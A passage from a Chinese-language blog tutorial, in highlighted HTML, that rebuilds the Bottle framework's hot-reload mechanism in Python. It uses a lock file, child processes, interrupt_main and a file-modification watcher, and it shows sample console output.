<span class="k">print</span><span class="p">(</span><span class="n">loop_flag</span><span class="p">)</span>
<span class="k">if</span> <span class="n">reloader</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">loop_flag</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">fd</span><span class="p">,</span> <span class="n">lock_file</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">mkstemp</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s">'six_web.'</span><span class="p">,</span> <span class="n">suffix</span><span class="o">=</span><span class="s">'.lock'</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span>
<span class="k">while</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">env</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span>
<span class="n">env</span><span class="p">[</span><span class="s">'BOTTLE_CHILD'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'true'</span>
<span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">]</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span>
<span class="k">print</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">Creating process, lock_file:</span><span class="se">\n</span><span class="s"> %s'</span> <span class="o">%</span> <span class="n">lock_file</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="n">interval</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Process terminated.'</span><span class="p">)</span>
<span class="k">finally</span><span class="p">:</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">lock_file</span><span class="p">)</span>
<span class="n">hot_deploy_with_flag</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>
<p>输出如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>None
Creating process, lock_file:
/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/six_web.s766jrnd.lock
Creating process, lock_file:
/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/six_web.s766jrnd.lock
<span class="nb">true
</span>Creating process, lock_file:
/var/folders/l_/9w7p8m0x2gb5gn36zw8y6wkh0000gn/T/six_web.s766jrnd.lock
<span class="nb">true</span>
</code></pre></div></div>
<p>上面的代码已经可以实现热部署的雏形, 总共有俩进程, 每隔 interval 时间, 就会执行一次.</p>
<p>我们更希望仅仅在文件变更后重启, 具体实现思路:</p>
<p><b>依然保持两个进程, 一个进程一直扫描文件变动, 如果有变动就中断当前进程; 另一个进程一直轮询, 如果另一个进程挂了, 就唤起.</b></p>
<h2 id="22-一个进程中断-另一个进程继续轮询">2.2 一个进程中断, 另一个进程继续轮询</h2>
<p>如果文件被修改, 服务端自动重启的原理, 启动 web 服务的进程中断, 然后被另外一个轮询的进程唤起.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">hot_deploy_with_flag</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span>
<span class="n">loop_flag</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'BOTTLE_CHILD'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'loop_flag: %s'</span> <span class="o">%</span> <span class="n">loop_flag</span><span class="p">)</span>
<span class="k">if</span> <span class="n">reloader</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">loop_flag</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">fd</span><span class="p">,</span> <span class="n">lock_file</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">mkstemp</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s">'six_web.'</span><span class="p">,</span> <span class="n">suffix</span><span class="o">=</span><span class="s">'.lock'</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span>
<span class="k">while</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">env</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span>
<span class="n">env</span><span class="p">[</span><span class="s">'BOTTLE_CHILD'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'true'</span>
<span class="n">env</span><span class="p">[</span><span class="s">'LOCK_FILE'</span><span class="p">]</span> <span class="o">=</span> <span class="n">lock_file</span>
<span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">]</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span>
<span class="k">print</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">Creating another process, current pid: %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="n">sleep</span><span class="p">(</span><span class="n">interval</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Process terminated. pid: %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="k">finally</span><span class="p">:</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">lock_file</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">bg</span> <span class="o">=</span> <span class="n">MockThreadInterruptted</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'LOCK_FILE'</span><span class="p">))</span>
<span class="n">bg</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">class</span> <span class="nc">MockThreadInterruptted</span><span class="p">(</span><span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">lock_file</span><span class="p">):</span>
<span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">lock_file</span> <span class="o">=</span> <span class="n">lock_file</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">'End process, pid is %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="n">_thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">__exit__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">exc_type</span><span class="p">,</span> <span class="n">exc_val</span><span class="p">,</span> <span class="n">exc_tb</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Mock Thread is exciting!'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">exc_type</span>
<span class="k">def</span> <span class="nf">__enter__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">hot_deploy_with_flag</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>
<p>上面代码, 输出如下, 注意观察进程 PID:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Users/fish/pycharm_env/bin/python /Users/fish/Documents/GitHub/six-web/six_web/lab.py
loop_flag: None
Creating another process, current pid: 15128
Creating another process, current pid: 15128
loop_flag: <span class="nb">true
</span>End process, pid is 15130
Creating another process, current pid: 15128
loop_flag: <span class="nb">true
</span>End process, pid is 15133
Creating another process, current pid: 15128
loop_flag: <span class="nb">true
</span>End process, pid is 15137
Creating another process, current pid: 15128
loop_flag: <span class="nb">true
</span>End process, pid is 15138
</code></pre></div></div>
<h1 id="3-文件变更监测">3. 文件变更监测</h1>
<p>Bottle 监测的是环境变量中的所有文件, <code class="language-plaintext highlighter-rouge">py</code> <code class="language-plaintext highlighter-rouge">pyc</code> 结尾的文件, 如果文件的 <code class="language-plaintext highlighter-rouge">modify_time</code> 发生了变更, 就中断该进程, 中断命令使用 <code class="language-plaintext highlighter-rouge">interrupt_main</code>, 源码注释如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">interrupt_main</span><span class="p">():</span> <span class="c1"># real signature unknown; restored from __doc__
</span> <span class="s">"""
interrupt_main()
Raise a KeyboardInterrupt in the main thread.
A subthread can use this function to interrupt the main thread.
"""</span>
<span class="k">pass</span>
</code></pre></div></div>
<p>那么问题转换为, 如何获取当前运行环境中的所有文件, 以及如何获取文件的 <code class="language-plaintext highlighter-rouge">modify_time</code>. 会使用到 <code class="language-plaintext highlighter-rouge">getattr</code> 方法和 <code class="language-plaintext highlighter-rouge">st_time</code>, 分别看一下源码注释:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">getattr</span><span class="p">(</span><span class="nb">object</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> <span class="c1"># known special case of getattr
</span> <span class="s">"""
getattr(object, name[, default]) -> value
Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.
When a default argument is given, it is returned when the attribute doesn't
exist; without it, an exception is raised in that case.
"""</span>
<span class="k">pass</span>
<span class="c1">#
</span><span class="n">st_mtime</span> <span class="o">=</span> <span class="nb">property</span><span class="p">(</span><span class="k">lambda</span> <span class="bp">self</span><span class="p">:</span> <span class="mi">0</span><span class="p">)</span>
<span class="s">"""time of last modification
:type: int
"""</span>
</code></pre></div></div>
<p>简单的实现如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_fetch_all_files</span><span class="p">():</span>
<span class="k">for</span> <span class="n">module</span> <span class="ow">in</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">.</span><span class="n">values</span><span class="p">():</span>
<span class="n">path</span> <span class="o">=</span> <span class="p">(</span><span class="nb">getattr</span><span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="s">'__file__'</span><span class="p">,</span> <span class="s">''</span><span class="p">))</span>
<span class="k">if</span> <span class="n">path</span> <span class="ow">and</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Users/fish/pycharm_env/bin/python /Users/fish/Documents/GitHub/six-web/six_web/lab.py
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/datetime.py
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/encodings/__init__.py
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/tempfile.py
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/posixpath.py
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/signal.py
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/lib-dynload/_socket.cpython-35m-darwin.so
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/io.py
1449452353.0
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/lib/python3.5/contextlib.py
</code></pre></div></div>
<h2 id="加上时间判断">加上时间判断</h2>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">_monitor_file_change</span><span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="n">lock_file</span><span class="p">):</span>
<span class="n">file_history</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
<span class="k">for</span> <span class="n">module</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">.</span><span class="n">values</span><span class="p">()):</span>
<span class="n">path</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="s">'__file__'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
<span class="k">if</span> <span class="n">path</span> <span class="ow">and</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="c1">## 将所有文件, 文件时间先存起来
</span> <span class="n">file_history</span><span class="p">[</span><span class="n">path</span><span class="p">]</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">_thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">status</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Checking file, pid %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="k">for</span> <span class="n">path</span><span class="p">,</span> <span class="n">last_modify_time</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">file_history</span><span class="p">.</span><span class="n">items</span><span class="p">()):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="ow">or</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span> <span class="o">></span> <span class="nb">float</span><span class="p">(</span><span class="n">last_modify_time</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">'File %s has changed!! '</span> <span class="o">%</span> <span class="n">path</span><span class="p">)</span>
<span class="n">status</span> <span class="o">=</span> <span class="s">'reload'</span>
<span class="n">_thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">break</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</code></pre></div></div>
<p>修改当前文件, 输出如下:</p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/Users/fish/pycharm_env/bin/python /Users/fish/Documents/GitHub/six-web/six_web/lab.py
Traceback <span class="o">(</span>most recent call last<span class="o">)</span>:
File <span class="s2">"/Users/fish/Documents/GitHub/six-web/six_web/lab.py"</span>, line 194, <span class="k">in</span> <module>
<span class="c"># run(reloader=True, port=8000, interval=3)</span>
File <span class="s2">"/Users/fish/Documents/GitHub/six-web/six_web/lab.py"</span>, line 187, <span class="k">in </span>_monitor_file_change
_thread.interrupt_main<span class="o">()</span>
KeyboardInterrupt
File /Users/fish/Documents/GitHub/six-web/six_web/lab.py has changed!
Process finished with <span class="nb">exit </span>code 1
</code></pre></div></div>
<h1 id="结论">结论</h1>
<p>综上所述, 简版的热部署就实现了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">_thread</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">tempfile</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">sleep</span>
<span class="kn">from</span> <span class="nn">wsgiref.simple_server</span> <span class="kn">import</span> <span class="n">make_server</span>
<span class="k">def</span> <span class="nf">demo_app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
<span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">StringIO</span>
<span class="n">stdout</span> <span class="o">=</span> <span class="n">StringIO</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Hello world!"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">stdout</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">file</span><span class="o">=</span><span class="n">stdout</span><span class="p">)</span>
<span class="n">h</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">environ</span><span class="p">.</span><span class="n">items</span><span class="p">())</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">h</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="s">'='</span><span class="p">,</span> <span class="nb">repr</span><span class="p">(</span><span class="n">v</span><span class="p">),</span> <span class="nb">file</span><span class="o">=</span><span class="n">stdout</span><span class="p">)</span>
<span class="n">start_response</span><span class="p">(</span><span class="s">"200 OK"</span><span class="p">,</span> <span class="p">[(</span><span class="s">'Content-Type'</span><span class="p">,</span> <span class="s">'text/plain; charset=utf-8'</span><span class="p">)])</span>
<span class="k">return</span> <span class="p">[</span><span class="n">stdout</span><span class="p">.</span><span class="n">getvalue</span><span class="p">().</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)]</span>
<span class="k">def</span> <span class="nf">start_wsgi</span><span class="p">():</span>
<span class="n">httpd</span> <span class="o">=</span> <span class="n">make_server</span><span class="p">(</span><span class="s">''</span><span class="p">,</span> <span class="mi">8000</span><span class="p">,</span> <span class="n">demo_app</span><span class="p">)</span>
<span class="n">sa</span> <span class="o">=</span> <span class="n">httpd</span><span class="p">.</span><span class="n">socket</span><span class="p">.</span><span class="n">getsockname</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Serving HTTP on"</span><span class="p">,</span> <span class="n">sa</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="s">"port"</span><span class="p">,</span> <span class="n">sa</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">"..."</span><span class="p">)</span>
<span class="n">httpd</span><span class="p">.</span><span class="n">serve_forever</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">hot_deploy_with_flag</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span>
<span class="n">loop_flag</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'BOTTLE_CHILD'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'loop_flag: %s'</span> <span class="o">%</span> <span class="n">loop_flag</span><span class="p">)</span>
<span class="k">if</span> <span class="n">reloader</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">loop_flag</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">fd</span><span class="p">,</span> <span class="n">lock_file</span> <span class="o">=</span> <span class="n">tempfile</span><span class="p">.</span><span class="n">mkstemp</span><span class="p">(</span><span class="n">prefix</span><span class="o">=</span><span class="s">'six_web.'</span><span class="p">,</span> <span class="n">suffix</span><span class="o">=</span><span class="s">'.lock'</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">)</span>
<span class="k">while</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">env</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span>
<span class="n">env</span><span class="p">[</span><span class="s">'BOTTLE_CHILD'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'true'</span>
<span class="n">env</span><span class="p">[</span><span class="s">'LOCK_FILE'</span><span class="p">]</span> <span class="o">=</span> <span class="n">lock_file</span>
<span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">]</span> <span class="o">+</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span>
<span class="k">print</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">Creating another process, current pid: %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="n">sleep</span><span class="p">(</span><span class="n">interval</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>
<span class="k">while</span> <span class="n">p</span><span class="p">.</span><span class="n">poll</span><span class="p">()</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> <span class="c1"># Busy wait...
</span> <span class="c1"># print('Updating lock_file time %s' % os.getpid())
</span> <span class="n">os</span><span class="p">.</span><span class="n">utime</span><span class="p">(</span><span class="n">lock_file</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span> <span class="c1"># I am alive!
</span> <span class="n">sleep</span><span class="p">(</span><span class="n">interval</span><span class="p">)</span>
<span class="c1"># if p.poll() != 3:
</span> <span class="c1"># if os.path.exists(lock_file): os.unlink(lock_file)
</span> <span class="c1"># sys.exit(p.poll())
</span> <span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Process terminated. pid: %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="k">finally</span><span class="p">:</span>
<span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">lock_file</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="c1"># lock_file = os.environ.get('LOCK_FILE')
</span> <span class="c1"># bg = FileCheckerThread(lock_file, interval)
</span> <span class="n">bg</span> <span class="o">=</span> <span class="n">MockThreadInterruptted</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">environ</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'LOCK_FILE'</span><span class="p">))</span>
<span class="k">with</span> <span class="n">bg</span><span class="p">:</span>
<span class="n">start_wsgi</span><span class="p">()</span>
<span class="k">except</span> <span class="nb">KeyboardInterrupt</span><span class="p">:</span>
<span class="k">pass</span>
<span class="k">class</span> <span class="nc">MockThreadInterruptted</span><span class="p">(</span><span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">lock_file</span><span class="p">):</span>
<span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">lock_file</span> <span class="o">=</span> <span class="n">lock_file</span>
<span class="bp">self</span><span class="p">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">_monitor_file_change</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">status</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">lock_file</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">__exit__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">exc_type</span><span class="p">,</span> <span class="n">exc_val</span><span class="p">,</span> <span class="n">exc_tb</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Mock Thread is exciting!'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">exc_type</span>
<span class="k">def</span> <span class="nf">__enter__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">_monitor_file_change</span><span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="n">lock_file</span><span class="p">):</span>
<span class="n">file_history</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
<span class="k">for</span> <span class="n">module</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">.</span><span class="n">values</span><span class="p">()):</span>
<span class="n">path</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="s">'__file__'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
<span class="k">if</span> <span class="n">path</span> <span class="ow">and</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
<span class="c1">## 将所有文件, 文件时间先存起来
</span> <span class="n">file_history</span><span class="p">[</span><span class="n">path</span><span class="p">]</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">lock_file</span><span class="p">):</span>
<span class="n">_thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">status</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Checking file, pid %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="k">for</span> <span class="n">path</span><span class="p">,</span> <span class="n">last_modify_time</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">file_history</span><span class="p">.</span><span class="n">items</span><span class="p">()):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="ow">or</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span> <span class="o">></span> <span class="nb">float</span><span class="p">(</span><span class="n">last_modify_time</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">'File %s has changed!! '</span> <span class="o">%</span> <span class="n">path</span><span class="p">)</span>
<span class="n">status</span> <span class="o">=</span> <span class="s">'reload'</span>
<span class="n">_thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">break</span>
